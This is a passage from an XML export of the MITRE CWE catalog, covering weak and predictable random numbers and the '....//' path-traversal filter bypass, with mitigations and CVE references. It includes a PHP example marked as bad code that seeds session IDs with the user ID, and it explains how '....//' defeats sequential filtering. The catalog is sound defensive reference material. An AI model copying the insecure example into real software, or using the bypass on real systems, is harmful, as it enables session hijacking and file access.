						            <Text>The random number functions used in these examples, rand() and
							Random.nextInt(), are not considered cryptographically strong. An
							attacker may be able to predict the random numbers generated by these
							functions. Note that these example also exhibit CWE-337 (Predictable
							Seed in PRNG).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3278</Observed_Example_Reference>
					          <Observed_Example_Description>Crypto product uses rand() library function to
						generate a recovery key, making it easier to conduct brute force
						attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3238</Observed_Example_Reference>
					          <Observed_Example_Description>Random number generator can repeatedly generate
						the same value.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2367</Observed_Example_Reference>
					          <Observed_Example_Description>Web application generates predictable session IDs,
						allowing session hijacking.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0166</Observed_Example_Reference>
					          <Observed_Example_Description>SSL library uses a weak random number generator
						that only generates 65,536 unique keys.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Non-cryptographic PRNG</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Non-cryptographic
						PRNG</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="339" Name="Small Seed Space in PRNG" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A PRNG uses a relatively small space of
					seeds.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>335</Relationship_Target_ID>
					          <!--PRNG Seed Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>341</Relationship_Target_ID>
					          <!--Predictable from Observable State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry overlaps predictable from observable state (CWE-341).</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use well vetted pseudo-random number generating algorithms with
							adequate length seeds. Pseudo-random number generators can produce
							predictable numbers if the generator is known and the seed can be
							guessed. A 256-bit seed is a good starting point for producing a "random
							enough" number.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.339.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.339.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Small Seed Space in PRNG</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="34" Name="Path Traversal: '....//'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					'....//' (doubled dot dot slash) sequences that can resolve to a location that
					is outside of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The '....//' manipulation is useful for bypassing some path traversal
						protection schemes. If "../" is filtered in a sequential fashion, as done by
						some regular expression engines, then "....//" can collapse into the "../"
						unsafe value (CWE-182). It could also be useful when ".." is removed, if the
						operating system treats "//" and "/" as equivalent.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This could occur due to a cleansing error that removes a single "../" from
						"....//"</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1670</Observed_Example_Reference>
					          <Observed_Example_Description>Mail server allows remote attackers to create
						arbitrary directories via a ".." or rename arbitrary files via a "....//" in
						user supplied parameters.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'....//' (doubled dot dot slash)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Doubled Dot Dot
						Slash - '....//'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="340" Name="Predictability Problems" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to schemes that
					generate numbers or identifiers that are more predictable than required by the
					application.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Predictability problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Brute Force </Mapped_Node_Name>
					          <Mapped_Node_ID>11</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="341" Name="Predictable from Observable State" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A number or object is predictable based on observations that
					the attacker can make about the state of the system or network, such as time,
					process ID, etc.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness could be exploited by an attacker in a number ways
							depending on the context. If a predictable number is used to generate
							IDs or keys that are used within protection mechanisms, then an attacker
							could gain unauthorized access to the system. If predictable filenames
							are used for storing sensitive information, then an attacker might gain
							access to the system and may be able to gain access to the information
							in the file.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Increase the entropy used to seed a PRNG.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.341.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-50">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a PRNG that periodically re-seeds itself using input from
							high-quality sources, such as hardware devices with high entropy.
							However, do not re-seed too frequently, or else the entropy source might
							block.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-45">
					          <Intro_Text>This code generates a unique random identifier for a user's
						session.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> function generateSessionID($userID){</Code>
							              <Block>
								                <Code> srand($userID);</Code>
								                <Code> return rand();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the seed for the PRNG is always the user's ID, the session ID
							will always be the same. An attacker could thus predict any user's
							session ID and potentially hijack the session.</Text>
						            <Text>This example also exhibits a Small Seed Space (CWE-339).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0389</Observed_Example_Reference>
					          <Observed_Example_Description> Mail server stores private mail messages with
						predictable filenames in a world-executable directory, which allows local
						users to read private mailing list archives. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1141</Observed_Example_Reference>
					          <Observed_Example_Description> PRNG allows attackers to use the output of small
						PRNG requests to determine the internal state information, which could be
						used by attackers to predict future pseudo-random numbers.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0335</Observed_Example_Reference>
					          <Observed_Example_Description>DNS resolver library uses predictable IDs, which
						allows a local attacker to spoof DNS query
						results.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1636</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. predictable filename and insecure permissions
						allows file modification to execute SQL
						queries.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.341.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.341.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Predictable from Observable State</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
